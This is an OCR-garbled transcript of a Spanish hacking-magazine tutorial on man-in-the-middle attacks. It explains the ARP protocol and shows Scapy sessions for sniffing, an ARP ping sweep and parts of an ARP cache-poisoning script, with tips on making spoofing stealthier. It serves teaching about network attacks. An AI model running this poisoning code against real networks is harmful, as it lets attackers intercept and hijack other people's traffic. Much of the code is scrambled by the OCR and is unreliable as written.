Manipulacion avanzada de paquetes tcp/ip con scapy parte II
-
Upload
julio-alfredo -
Category
Documents
-
view
178 -
download
3
description
Transcript of Manipulacion avanzada de paquetes tcp/ip con scapy parte II
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack
o = a0 00
: : , - = crack-.-,- . .c k K C roc k . e sww.ho
Manipulaci6n avanzada de
paquetes TCP/IP con Scapy
- Parte IIEn este articulo veremos como lIevar a cabo exitosamente un ataque de
hombre en el medio utilizando Scapy. Haremos un repaso del protocolo
ARP, veremos susdebilidades y como aprovecharnos de elias.
1. Introducci6n
Los ataques del tipo MITM {Man-in-the-Middle 0
Hombre-en-el-Medio} han sido uno de los
ataques mas exitosos que comprometen la
privacidad y la confidencialidad de unaconversaci6n. EIconcepto es bastante viejo pero
constantemente se desarrollan nuevas tecnlcas
que 1 0 perfeccionan y que posibilitan su
aplicaci6n por personas con pocos 0 nulos
conocimientos en el tema.
En terrnlnos generales, los ataques MITM
consisten en el acto de un individuo
inhautorizado en posicionarse en el segmento
de una conversacion ajena para espiar,interceptar y modificar la comunicaci6n.
Una forma claslca y sencilla de asimilar esta
tecnlca con algo cotidiano es el juego que
muchos de nosotros jugamos de pequelios,
cuyo objeto era reirse con la distorsi6n
generada al ir soplando una palabra 0 frase de
oreja a oreja, entre un grupo de gente: "EIjuego
del telefono".
La primera persona de la fila dice {en voz baja}
un mensaje a la de al lado, que luego 1 0
reproduce a la siguiente persona. Este proceso
se repite hasta que, eventualmente, se lIega al
final de la fila y la ultima persona 1 0 debe decir
en vozalta.
Muchas veces, el mensaje original es muy
distinto al mensaje que recibe el ultimo
participante del juego. Por ejemplo, si el
mensaje original fuera "EI cielo es celeste" serla
muy gracioso que el mensaje final fuera "Mi
cabello es celeste". Bueno, serla gracioso si
tuvierarnos ocho alios! Pero como no los
tenemos {somos gente grande y responsable}
debemos seguir con 1 0 nuestro ...
Figura 1. Personajes famosos jugando el"juego del tel~fono".
www.heCKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack
o = a0 00
: : , - = crack- . -,- . .c k K C roc k . e sww.ho
hecho de que su exlto (0 fracaso) no depende
del sistema operativo de la victima ni de
vulnerabilidades especfficas en su sistema. Enotras palabras, aunque todos los dispositivos y
sistemas operativos en una red se encuentren
100%al dla con actualizaciones y "parches" aun
es posible que los clientes de la red sean
vulnerables a este tipo de ataques. Por esa
raz6n, el ataque MITM es una comun opci6n
para atacantes con fines maliciosos que buscan
robar y comprometer informaci6n sensible y
confidencial.
1.1 LC6mo funciona un ataque MITM?
Un ataque MITM se puede lIevar a cabo
mediante una gran variedad de tecnicas,
dependiendo del tipo de acceso que tenga el
atacante a la red en cuesti6n y de los tipos de
protocol os utilizados. A modo de repaso, un
ataque MITM ocurre cuando un atacante se
"inyecta" entre dos puntos 0 nodos de
comunicaci6n con el objetivo de espiar la
comunicaci6n durante su transcurso (sin que losparticipantes legftimos de la conversaci6n se
den cuenta).
En este articulo vamos a presentar los
lineamientos baslcos de un ataque MITM y los
conceptos relacionados con una de las formas
claslcas de lIevarlo a la practice: "ARP Cache
Poisoning" 0 "Envenenamiento de lacache ARP".
En la Figura 2 se muestra la anatomfa de un
ataque MITM que, a pesar de su simpleza, ilustra
el concepto fundamental de este tipo de
ataques. En dicha figura, el flujo normal de
informaci6n se representa mediante la Ifnea
negra: el router se encarga de dirigir el traflco
entre un host de la red interna e internet (y
viceversa).
EIataque MITM se representa con una Ifnea roja
en la Figura 2. Con la ayuda de una colecci6n de
tecnlcas y herramientas, el atacante es capaz de
"redirigir" el traflco entre el usuario y el routercon el objetivo de que toda la informaci6n que
el usuario intercambia con internet pase a traves
de su computadora.
En primer lugar, el atacante debe engariar a la
computadora del usuario haclendole pensar
que la computadora del atacante es el router.
-- Cornunicaclon normal
__ Ataque MITM
~ Internet
~Router/
Switch
.,~Usuario ~
Atacante
F i g u r a 2 . E s c e n a r i o t i p i c o d e u n a t a q u eM I T M .
Luego, el atacante debe realizar otro ataque
para engariar al router de modo que este piense
que la computadora del usuario es la del
atacante. De esta forma, todo el traflco que iba a
ser intercambiado entre el usuario y el router va
a ser redirigido a traves de la computadora del
atacante.
Una vez que el atacante logr6 exitosamente
insertarse en el segmento de red entre el
usuario y el router, es capaz de realizar una serie
de ataques que resumimos a continuaci6n:
Monitoreo del tr6fico: Como es evidente,
cuando el atacante se encuentra en esta
situaci6n es capaz de monitorear y espiar todo
el traflco entre el router y el usuario. Por 1 0
3 www.hacKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hacko = a0 00
: : , - = crack- . -,- . .c k K C roc k . e sww.ho
tanto, el atacante tiene acceso a informaci6n
sensible y confidencial que el usuario puede
estar intercambiando con internet.Inyeccion de comandos: EI atacante es capaz
de inyectar comandos con el objetivo de utilizar
o robar una sesi6n ya establecida por el usuario
(hijacking). Estetipo de ataques se lIevan a cabo
una vez que el usuario pas6 la etapa de
autenticaci6n.
Denegacion de servicio: Como el atacante
tiene control total del flujo de datos que
"atraviesa" su maqulna, es capaz de establecer
las condiciones de un ataque de denegaci6n de
servicio.
2. Protocolo ARP
Una de lasformas mas comunes de lIevar a cabo
un ataque MITM es mediante el
envenenamiento de la cache ARP del usuario.
Para poder entender este escenario y ver
algunas formas de lIevarlo a la practice, es
indispensable repasar los conceptos asociados
al protocolo ARP(Address Resolution Protocol).
2.1 ARP (Address Resolution Protocol)
EI protocolo ARP (RFC826) es utilizado con el
objetivo de proveer un mapeo entre las
direcciones de la capa
3 (Network) del
modele 051 con las de Usuario 1IP - 192.168.1.100
la capa 2 (Data Link). MAC - 11:22:33:44:55:66
Este mapeo permiteuna asociaci6n entre
direcciones 16gicas
(como las del
protocolo de internet
IP) y direcciones
f' . d dl . . Usuario 2ISlcas e ISPOSltlVOS IP _ 192.168.1.101
como las tarjetas de MAC - 22:33:44:55:66:77
red.
IP/Ethernet, los sistemas operativos necesitan
mapear las direcciones IP (de longitud de 32
bits) en direcciones MAC (de 48 bits) para enviarlos paquetes pertinentes directamente al host
correspondiente dentro de la misma red interna.
Si el host no pertenece a la red interna, el
paquete debe ser enviado por la puerta de
enlace predeterminada (router) que se
encarqara adecuadamente de su enrutamiento.
La comunicaci6n utilizando el protocolo ARPse
facilita mediante el intercambio de paquetes de
petici6n (request) y respuesta (reply) entre los
distintos dispositivos que utilizan este protocolo
dentro de una red.
Cuando un determinado host requiere la
direcci6n ffsica (MAC) de un determinado
dispositivo, envfa una petici6n ARP a la
direcci6n de broadcast (que es una direcci6n
que es escuchada por todos los clientes de la
red) que contiene la siguiente informaci6n,
entre otras:
Direcci6n IP del host que realiza lapetici6n(psrc).
- Direcci6n MAC del host que realiza la
petici6n(hwsrc).
- Direcci6n IP del sistema que se requiere la
direcci6n ffsica(pdst).
)Route;; .
Switch
P - 192.168.1.1
AA:BB:CC:44:55:66
Internet
Usuario
En lasredes F i g u r a 3 . A s o c i a c i 6 n e n t r e d i r e c c i o n e s I P y M A C e n t r e l o s h o s t s
d e u n a r e d i n t e r n a .
4 www.heCKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack
o = a0 0_0
;~.. crack,,- . .c k K C roc k _ e sww-ho
Con el objetivo de mantener las peticiones ARP
al mlnimo en una red, los sistema operativos
mantienen una cache 0 tabla de ARP, queguarda el mapeo durante un tiempo
determinado (usualmente unos dos minutos).
Dicha tabla se puede visualizar con el comando
"arp -a" tanto en WINDOWS como en los
sistemas tipos UNIX. Si el Usuario 1 de la Figura
3 ejecuta dicho comando en su computadora,
vera una salida en pantalla como lasiguiente:
Usuario-1:/home/usuario* arp -a
? (192.168.1.1) at AA:BB:CC:44:55:66 [ether] on
athO
? (192.168.1.114) at 22:33:44:55:66:77 [ether] on
athO
Una vez que un sistema recibe una petldon ARP,
debe observar su tabla local para ver si se
corresponde con la dlrecclon IPde la peticion. Si
el sistema contiene una entrada en su cache
ARPque indica que es el duerio de la dlrecclon
IP requerida en la petlcion, procede a enviar una
respuesta ARP al host que hizo dicha peticlon,
Finalmente, el host que hizo la petldon anade la
dlrecclon ffsica nueva en su tabla local para
futuro uso.
Listo con la teorla y cosasaburridas ...Manos a la
obra!
3.Manos a la obra
Para aprender mas sobre el protocolo ARP y
lIevar a la practice un ataque MITM envenando
la cache ARPde la vlctima vamos a utilizar una
herramienta lIamada Scapy. Scapy es un
programa que utiliza el lnteprete de Python
para facilitar la rnanlpulacion avanzada de
paquetes TCP/IPposibilitando al usuario enviar,
monitorear, disectar y personalizar paquetes.
Esta capacidad convierte a Scapy en una
herramienta muy poderosa para el analisls,
escaneo y ataques a redes. Encuadernos de esta
misma serie fue introducida esta herramienta y
se explicaron conceptos baslcos sobre como
usarla.
Muchos de ustedes se deben estarpreguntando: lY este tal Larry porque quiere
que usemos Scapy para hacer algo que ya esta
hecho con herramientas como arpsppof,
ettercap, etc.? Son muy faclles de usar y hay
muchlsima informacion en la red... lPara que
complicarse la vida y volver a hacer 10 que ya
esta hecho?
Bueno... Antes que te decidas a leer esto te
advierto que, a fines practlcos, ninguna
herramienta que salga como producto de este
articulo va a mejorar ni va a hacer algo distinto a
las conocidas por todos (arpspoof,ettercap,etc).
De hecho, van a hacer 10 mismo pero de una
forma mucho mas ineficiente!
La idea de este articulo es, en primer lugar,
entender (aunque sea un poquito) como
funcionan estas herramientas que muchos de
nosotros las utilizamos como cajas negras. AI fin
y a cabo, esto del "hacking" es disfrutar delconocimiento profundo sobre el
funcionamiento interno de las cosas que nos
rodean.
Si 1 0 unlco que te interesa es hacer ARP
Spoofing para molestar y robar informacion,
este articulo (y el "hacking") no es paravos.
Ensegundo lugar, 10 mas valioso de este articulo
no son las herramientas que vamos a desarrollar(porque son muy sencillas y ya estan hechas),
sino la informacion relacionada con el uso de
Scapy.
,Que es 10 que hace que Scapy sea tan
especial?
Personalmente creo que es la unlca herramienta
de seguridad en redes capaz de hacer algo que
su autor nunca se lmaqino. Scapy ofrece un
5 www.heCKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack
o = a0 00
: : , - = crack-.-,- . .c k K C roc k . e sww.ho
"entorno" de alto nivel para desarrollar
herramientas para el testeo de la seguridad de
redes de una forma simple y raplda,
La mayorfa de la aplicaciones cornunmente
usadas como arpspoofing, dsniff, traceroute,
arping, etc,
fueron
desarrolladas
para cosas muy
puntuales y es
muy diffcil hacer
algo que se
aparte mucho
del objetivo para
el cual fueron
pensadas.
Dicho esto, y si
aun queres
seguir leyendo el
articulo,
continuemos
con un poco dei g u r a 4 . A s r e v n i
a i r e i n e g i .
inversa.
ingenierfa
3.1 Entendiendo el protocolo ARP.
En esta secci6n vamos a utilizar la funci6n
<sniff> de Scapy para capturar paquetes que
"andan dando vueltas por nuestra red". En
particular, nos interesan los paquetes ARP para
poder estudiarlos y comprender un poco mas el
protocolo. EI escenario es el siguiente: yo tengola IP 192.168.1.106 con MAC 11:22:33:44:55:66,
el punto de acceso tiene la IP 192.168.1.1 Y hay
otro cliente con la IP 192.168.1.114 {ver Figura 3}.
Verifico la tabla ARP que tiene guardada mi
sistema operativo {uso Debian Testing 2.6.32-
amd64},
Larry:/home/larryi arp -a
? (192.168.1.1) at AA:BB:CC:44:55:66 [ether] on
athO
Como vemos, tengo una entrada con la
direcci6n ffsica del router y no hay ningunarelacionada con el host que esta en
192.168.1.114 {obviamente las MACs que estoy
usando son ficticias}.
Abrimos una consola y ejecutamos Scapy para
monitorear los paquetes ARP pertenecientes al
traflco de nuestra red:
Larry:/home/larryi scapy
WARNING: No route found for IPv6 destination ::
(no default route?)
Welcome to Scapy (2.1.0)
»> arp~ackets =
sniff(iface="athO",filter="arp",count=2)
La slntaxis es bastante simple:
iface: Es la interfaz en la cual va a escuchar
Scapy para monitorear los paquetes {si no
especificamos ninguna va a escuchar en todas
las disponibles}.
filter: Aquf va la sintaxis del filtro para descartar
los paquetes que no nos interesan. Los filtros
son del tipo de tcpdump. Por ejemplo, se podrfa
especificar un filtro del tipo "icmp and host
192.168.1.1".
count: Es la cantidad de paquetes que
queremos captar con la funci6n sniff. Pusimos 2
paquetes para armar un "dupla" de petici6n-
respuesta ARP.
AI mismo tiempo que ponemos a la escucha a
Scapy, abrimos otra consola y hacemos un pinga la IP 192.168.1.114. De esta forma, forzamos a
que nuestro sistema operativo realice una
petici6n ARP para saber la direcci6n MAC del
host que tiene dicha IP y enviar correctamente
el paquete dentro de nuestra red interna.
Larry:/home/larryi ping 192.168.1.114
PING 192.168.1.114 (192.168.1.114) 56(84) bytes
of data.
64 bytes from 192.168.1.114: icmp_req=1 ttl=64
time=3.69 ms
64 bytes from 192.168.1.114: icmp_req=2 ttl=64
time=3.74 ms
6 www.heCKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack
o = a0 0_0
: : , - = crack-.-,- . .c k K C roc k _ e sww-ho
hC
--- 192.16S.1.114 ping statistics ---
2 packets transmitted, 2 received, 0% packet
loss, time 1001ms
rtt min/avg/max/mdev = 3.69S/3.722/3.747/0.065 msc
Una vez hecho esto, vemos que la funclon sniff
termina su trabajo y nos "devuelve" la consola
en Scapy. Esto quiere decir que capto
correctamente dos paquetes ARP y los quardo
en lavariable arp_packets.
Manipulemos dicha variable para investigar 1 0
que recibimos,
»> arp_packets
<Sniffed: TCP:O UDP:O ICMP:O Other:2>
»> len(arp_packets)
2
»> arp_packets[O]
<Ether dst=ff:ff:ff:ff:ff:ff
src=11:22:33:44:55:66 type=OxS06 1 <ARP
hwtype=Ox1 ptype=OxSOO hwlen=6 plen=4 op=who-has
hwsrc=11:22:33:44:55:66 psrc=192.16S.1.106
hwdst=OO:OO:OO:OO:OO:OO pdst=192.16S.1.114 I»
»> arp_packets[l]
<Ether dst=11:22:33:44:55:66
src=22:33:44:55:66:77 type=OxS06 1 <ARP
hwtype=Ox1 ptype=OxSOO hwlen=6 plen=4 op=is-at
hwsrc=22:33:44:55:66:77 psrc=192.16S.1.114
hwdst=11:22:33:44:55:66 pdst=192.16S.1.106 I»
»>
Vemos claramente que recibimos dos paquetes,
ambos con la capa ARPsobre la capa Ethernet.
Ambas capas tienen distintos campos que
pasamos a resumir a contlnuadon,
Ethernet
dst:Es un campo de 48 bits que indica la
direcclon ffsica del dispositivo al cual se envfa el
paquete. Notar que ff:ff:ff:ff:ff:ff representa la
direcclon ffsica del broadcast.
src: Es un campo de 48 bits que indica la
direcclon ffsica del dispositivo que envfa el
paquete.
type: Este es un campo de 16 bits que indica el
protocolo superior que contiene el paquete (en
este caso,esARP).
ARP
hwtype: Es un campo de 16 bits que define eltipo de red sobre la cual esta funcionando ARP.
En este caso, el valor Ox1 se corresponde a
Ethernet.
ptype: Esun campo de 16 bits que define el tipo
de protocolo que requiere del servicio de ARP.
Eneste caso,Ox800representa el protocolo IP.
hwlen: Este es un campo de 8 bits que
representa la longitud de la dlrecdon ffsica en
bytes. Como estamos hablando de una
dlrecdon MAC este campo es igual a 6 (donde 6
bytes =48 bits).
plen: De forma analoqa al campo hwlen, este
campo indica la longitud de la dlrecclon loqlca
(en este caso es una dlrecclon IPde 4 bytes = 32
bits).
op: Esun campo que define el tipo de operaclon
realizada. EItipo 1 indica una petldon y el tipo 2
una respuesta. Scapy nos muestra el campo de
forma que pueda ser leldo por mortales: (who-
has= lquien-tiene? = peticlon) y (is-at = esta-en
= respuesta).
hwsrc y psrc: Son las direcciones ffsicas y loqlcas
respectivamente del dispositivo que envfa el
paquete (origen).
hwdst y pdst: Son las direcciones ffsicas y loqlcas
respectivamente del dispositivo al cual se debe
enviar el paquete.
De la dupla de paquetes en la lista arp_request,
vemos que el primero de ellos se correspondecon la peticion ARPpor parte de mi rnaqulna. Mi
sistema operativo necesita saber cual es la
dlrecdon ffsica del dispositivo que tiene
asociada la IP 192.168.1.114para poder enviar el
paquete ICMPcorrectamente. Por 1 0 tanto, envfa
una petlcion ARPa ladlrecclon de broadcast.
EI host con la IP 192.168.1.114 escucha dicha
petlcion y envfa una respuesta a mi maqulna
{solamente a la mfa, como se puede ver en el
7 www.heCKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack
o = a0 00
: : , - = crack-.-,- . .c k K C roc k . e sww.ho
encabezado
correspondiente
al campoEthernet donde
aparece mi MAC
11:22:33:44:55:6
6}. De esa forma,
mi sistema
operativo
agrega una
entrada a la
tabla local ARP
con el
mapeo
realizado.
nuevo
Larry
IP - 192.168.1.106
MAC- 11:22:33:44:55:66
Abriendo
consola,
verificamos,
Larryuna
Broadcast
IP - 192.168.1.255
MAC- ff:ff:ff:ff:ff:ff
Usuario
IP - 192.168.1.114
MAC- 22:33:44:55:66:77
Usuario
Mi direcci6n MAC es 22:33:44:55:66:77
F i g u r a 5 . P r o c e s o t i p i c o e n u n i n t e r c a m b i o p e t i c i 6 n - r e s p u e s t a A R P .
L a r r y:/h o m e / 1 a r r y
II ar p -a
? (1 92. 168. 1. 1) a t AA:BB:CC:44:55:66 [e the r] o n
a t hO
? (1 92. 168. 1. 11 4) a t 22:33:44:55:66:77 [e the r] o n
a t hO
Como vemos, el proceso es relativamente
sencillo. Parafinalizar esta secclon 1 0 resumimos
en la Figura 5.
3.2 Herramientas simples con el
protocolo ARP.
Con 1 0 aprendido hasta ahora podemos
desarrollar pequeflos scripts que hagan uso delprotocolo ARP para obtener informacion de
nuestra red interna. Paraeso vamos a introducir
una serie de funciones que conforman el
corazon de Scapy: son las funciones send-
receive 0 funciones de enviar-recibir. Esta
familia de funciones no solo envfan estfmulos y
reciben respuestas sino tambien emparejan los
estfmulos con las respuestas recibidas. La
funclon srO envfa un conjunto de paquetes
personalizados (en la capa 3) y devuelve dos
listas: la primera de elias es una lista de duplas
donde cada una representa un estfmulo y su
respuesta;y la segunda esotra lista de paquetes
que fueron enviados pero sin respuestas. La
funclon srpf) hace exactamente 1 0 mismo que la
srO pero trabaja en la capa 2 (es decir, hay que
especificar correctamente la interfaz y el
protocolo de la capa de enlace).
Para entender mejor su funcionamiento vamos
a crear 256 peticiones ARP para todas las IP de
mi red interna (192.168.1.0/24) y las vamos a
enviar al broadcast usando la funclon srpf) de
Scapy.
La r r y:/ho m e/l a r ry ll s ca py
WARNING: No r o u t e f o u n d f o r IP v6 d e s t i n a t i o n . •
(n o d ef a u l t r o ut e ?)
We l co m e t o Sca py (2. 1 . 0)
»> c ap a_ e t h e r n e t =E th e r ( d s t = " f f : f f : f f : f f : f f : f f " )
»> m i_n et = " 192. 168. 1. 0/24"
»> ca pa _a rp = ARP (pd s t=m i_n et , o p=" who -ha s" )
»> p et i ci o ne s = ca pa _e t he r ne t /ca pa _a r p
»> a ns ,u na ns =s rp(pe ti ci on es , t im eo ut =2, r et ry=-
3 , i f a ce = "a t hO ")
Be gi n e mi ss io n:
*. *F i n i s he d t o s e n d 256 pa cke t s .
. ••Be gi n e mi s si on :
F i n i s he d t o s e n d 254 pa cke t s .
8 www.heCKx(ra·(·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack
o = a0 00
;~.. crack,,- . .c k K C roc k . e sww.ho
•••Begin emission:
Finished to send 254 packets.
•••Begin emission:
Finished to send 254 packets.
Received 230 packets, got 2 answers, remaining
254 packets
Veamos rapldarnente que significan las
sentencias ingresadas en la linea de comando
de Scapy:
capa_ ethernet= Ether( dst= IIf:ff:ff:ff:ff:ff"):
Creamos una capa Ethernet con la dlreccion de
destino igual a lade broadcast.
mi_net=1192.168.1.0/24": Inicializamos una
variable de tipo "string" con el range de Ips de
mi red interna.
srp(paquetes)
Peticiones ARP
paquetes una vez que la cantidad de paquetes
no respondidos es la misma por 3 rondas de
seguidas. EI tiempo de espera en segundos porcada ronda se especifica en timeout=2 y la
interfaz utilizada con el pararnetro iface="athO".
Por ultimo, la salida del comando srp{) son dos
listas: ans que representa una lista de duplas de
estfmulos-respuestas y unans que es una lista de
paquetes que no fueron respondidos.
En la Figura 6 se representa graficamente el
proceso de envfo, recibo y "emparejamiento" de
paquetes.
Como podemos observar, solo recibimos dos
respuestas de los 256 paquetes que enviamos.
Dupla estrmulo-respuesta
Lista -cans»
Dupla estfmulo-respuesta
Paquetes sin respuestaLista <unans>
F i g u r a 6 . E n v i o d e p e t i c i o n e s A R P u s a n d o e l m e t o d o s r p ( ) d e S c a p y .
capa_arp=ARP(pdst=mi_net,op=lwho-has"):
Creamos 256 capas ARP con peticiones a cada
una de las Ips de mi red interna.
peticiones=capa_ethernet/ capa_arp: Aquf,
con el operador I, juntamos las dos capas quecreamos armando el conjunto de 256 peticiones
ARP.
ans,unans=srp(peticiones, timeout=2,retry=
-3,iface=IIathO"): Con este comando enviamos
las 256 peticiones que armamos. Scapy
autocompleta todos los campos que nosotros
no especificamos en las capas que armamos
(dlrecclon MAC e IP de origen, longitud de
direcciones ffsicas y loqlcas, etc.). EI retry=-3
significa que Scapy debe dejar de mandar los
Inspeccionemos las respuestas a
que enviamos manipulando
adecuadamente,
los estfmulos
las listas
»> len(ans)
2
»> len(unans)
254
»> ans.summary()
Ether / ARP who has 192.168.1.1 says
192.168.1.106 ==> Ether / ARP is at
AA:BB:CC:44:55:66 says 192.168.1.1
Ether / ARP who has 192.168.1.114 says
192.168.1.106 ==> Ether / ARP is at
22:33:44:55:66:77 says 192.168.1.114
»> ans[O]
«Ether dst=ff:ff:ff:ff:ff:ff type=Ox806 1 <ARP
op=who-has pdst=192.168.1.1 I», <Ether
dst=11:22:33:44:55:66 src=AA:BB:CC:44:55:66
type=Ox806 I<ARP hwtype=Ox1 ptype=Ox800 hwlen=6
plen=4 op=is-at hwsrc=AA:BB:CC:44:55:66
9 www.heCKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack
0=00 00
: : , - = crack-.-,- . .c k K C roc k . e sww.ho
psrc=192.168.1.1 hwdst=11:22:33:44:55:66
pdst=192.168.1.106 I » )»> ans[1j
«Ether dst=ff:ff:ff:ff:ff:ff type=Ox806 I <ARP
op=who-has pdst=192.168.1.114 I » , <Ether
dst=11:22:33:44:55:66 src=22:33:44:55:66:77
type=Ox806 I <ARP hwtype=Ox1 ptype=Ox800 hwlen=6
plen=4 op=is-at hwsrc=22:33:44:55:66:77
psrc=192.168.1.114 hwdst=11:22:33:44:55:66
pdst=192.168.1.106 I » )
Ahora veamos las distintas formas de acceder a
los campos de cada una de las capas que
conforman un paquete. Cuando utilizamos la
notaci6n paq[ARP] significa que estamos
accediendo a la capa ARPdel paquete definido
en la variable paq. De la misma forma, sepodrfan referenciar otras capas que conforman
el paquete: paq[IP], paq[TCP],paq[UDP], etc.
»> respuesta 1 = ans[Oj[1j
»> print "La-IP "+respuesta_1[ARPj.psrc+" tiene
la MAC "\
••• +respuesta 1[ARPj.hwsrc
La IP 192.168.1.1 tiene la MAC AA:BB:CC:44:55:66
»> respuesta 2 = ans[1j[1j
»> print "La-IP "+respuesta_2[ARPj.psrc+"tiene
la MAC "\
••• +respuesta 2[ARPj.hwsrc
La IP 192.168.1.114 tiene la MAC 22:33:44:55:66:77
»> respuesta_1.sprintf ("La IP %ARP.psrc% tiene
la MAC %Ether.src%")
'La IP 192.168.1.1 tiene la MAC AA:BB:CC:44:55:66'
»> respuesta_2.sprintf ("La IP %ARP.psrc% tiene
la MAC %Ether.src%")
'La IP 192.168.1.114 tiene la MAC
22:33:44:55:66:77'
Para acceder a los paquetes obtenidos como
respuestas a los estfmulos enviados hay que
tener en cuenta que el paquete <ans> es una
lista de duplas envfos-respuestas. Por cada
componente de la lista existen dos paquetesdonde el primero de ellos es el estfmulo y el
segundo es la respuesta correspondiente (ver
Figura6).
EI metoda sprintfO que fue introducido
anteriormente es una de las herramientas mas
poderosas de Scapyy es la clave en el desarrollo
de herramientas personalizadas. Permite
obtener informaci6n sobre campos especfficos
de un determinado paquete. Para nuestros
fines, el formato de una directiva es:
"%Capa.Campo%". Aunque el formato exacto es
ligeramente mas complicado (no mucho mas)por ahora nos quedamos con esa imagen de
sprintfO (el que quiera profundizar puede ver el
manual de Scapy en la paqlna oficial). Por
ejemplo, las directivas tfpicas en alguna
herramienta personalizada podrfan ser:
"%IP.src%","%Ether.dst%", "%TCP.dport%", etc.
3.3 Monitor simple de tr'fico ARP.
A continuaci6n presentamos un sencillo script
que monitorea el traflco ARP de nuestra red
interna (ver listado 1). Si 1 0 dejamos corriendo
un buen rata nos va a dar informaci6n sobre el
mapeo entre direcciones MACse IPs.
EI pararnetro stere-o simplemente Ie indica a
Scapy que no guarde en memoria los paquetes
que va capturando. Por otro lado, el pararnetro
prn=funcion_arp indica que cada vez que
<sniff> capture un paquete, debe lIamar a la
funci6n "funcion_arp" con el paquete como
argumento.
3.4 ARP Ping.
Otra herramienta de mucha utilidad es el ARP
Ping (ver listado 2), que simplemente envfa una
rafaqa de peticiones ARP de todas las IPs de la
red interna (a la direcci6n de broadcast).
Finalmente, se enumeran las respuestas
obtenidas y se puede obtener informaci6n
sobre las "duplas" IP-MACde los dispositivos denuestra red. Esta es una de las formas mas
rapldas de reconocer hosts en la red.
3.4 ARP Poison.
A continuaci6n les voy a presentar un script
sencillo (Iistado 3) para envenenar la cache ARP
del router y de un conjunto de hosts de una red
interna de modo que todos los paquetes
1 www.heCKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
www-ho
o Ca0 00
;~.. crack,,- . .c k K C roc k _ e s
hack
* -*- co d i n g : u t f -8 -*-intercambiados entre los hosts y
el router pasen por la rnaqulna
del atacante (el que ejecuta elscript).
f r o m s ca py i m po r t *
* Mo n i t o r s i m pl e d e l t r a f i co ARP d e u n a r e d* P ro gr am ad or : La rr y
* C o r r e o : [email protected]
EI script es facll de entender y esta
bien comentado de modo que no
haya que dar muchasexplicaciones. Adaro que no esta s ni ff (i f ace =" at hO" , pr n =f un ci on _a rp, s t or e=O)
muy pulido y les recomiendo que
10 usen de base para desarrollar -------"""";"""'1---;"----;'----:::------;-:--------__J
una herramienta propia de ARP Listado 1. arp_monitor.py
Spoofing un poco mas completa (y a prueba de
posibles errores por parte del usuario). Adernas,
se podrfa agregar una opclon donde se
envenene la cache enviando peticiones ARP en
lugar de respuestas. Es decir, basta con
reemplazar la funclon <respuesta_arp> en
todos los lugares donde aparece el script por la
siguiente,
d e f f u n ci o n _a r p( pa q ue t e ):
i f (ARP i n pa qu e t e ) a n d (pa qu e t e [ARP j . o p i n (1 ,2»:
r et ur n pa qu et e. spr in tf (" %ARP .hws rc% ; %ARP .ps rc%" )
y de una serie de hosts en una red interna
enviando respuestas ARP,
d e f p et i ci o n _a r p ( pd s t ,h wd s t ,p sr c, hw s rc ,i f a ce ) :
a r p_ re qu e s t = E th er ( ds t =h wd s t )/ AR P( pd s t =p ds t ,
p s rc =p sr c, h ws r c= hw sr c ,
op="who-has")s e n d p( a rp_ r eq u e s t , i f a c e= i f a c e)
Por ultimo, les hago notar que este script
envenena la cache del router y de las vfctimas
de modo el traflco que pasa por la maqulna del
atacante es el de "ida" y "vuelta" (1 0 que va y 10
que viene de la WAN). Si desean hacerlo solo en
un sentido, se debe comentar la Ifnea pertinente
dentro del script.
Podrfan enviar las peticiones al broadcast
(ff:ff:ff:ff:ff:ff) 0 directamente a la maqulnas
<targets>. Puede sonar extrario enviar una
petlcion ARP de una dlrecdon MACr - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
precisamente a la dlrecclon MAC * -*- co d i n g : u t f -8 -*-
que se esta buscando pero enf r o m s ca py. a l l i m po r t *
realidad tiene mucho sentido. i m po r t s ys
Varios sistemas operativos utilizan
esos paquetes para actualizar sus
entradas en la tabla ARP (una
especie de "keep-alive packet" i f
para mantener actualizada la
cache). De hecho, esa tecnlca es
mucho mas efectiva y sigilosa que
la del envfo de respuestas ARP a
hosts que nunca las pidieron.
l e n (s ys . a rg v) 1 = 2:
pr in t " Us o : pyt ho n " +s ys . a r gv[Oj + " <r e d >\n "
pr in t " Ej em pl o: pyt ho n " +s ys .a rg v[Oj +" 1 92. 168. 1. 0/24"
pr in t " Ej em pl o: pyt ho n " +s ys .a rg v[Oj +" 1 92. 168. 1. *\n "
s y s . e x i t ( l)
# ARP P i n g (r e co n o ci m i e n t o d e ho s t s e n r e d )
# P r o g r a m a d or : La rr y
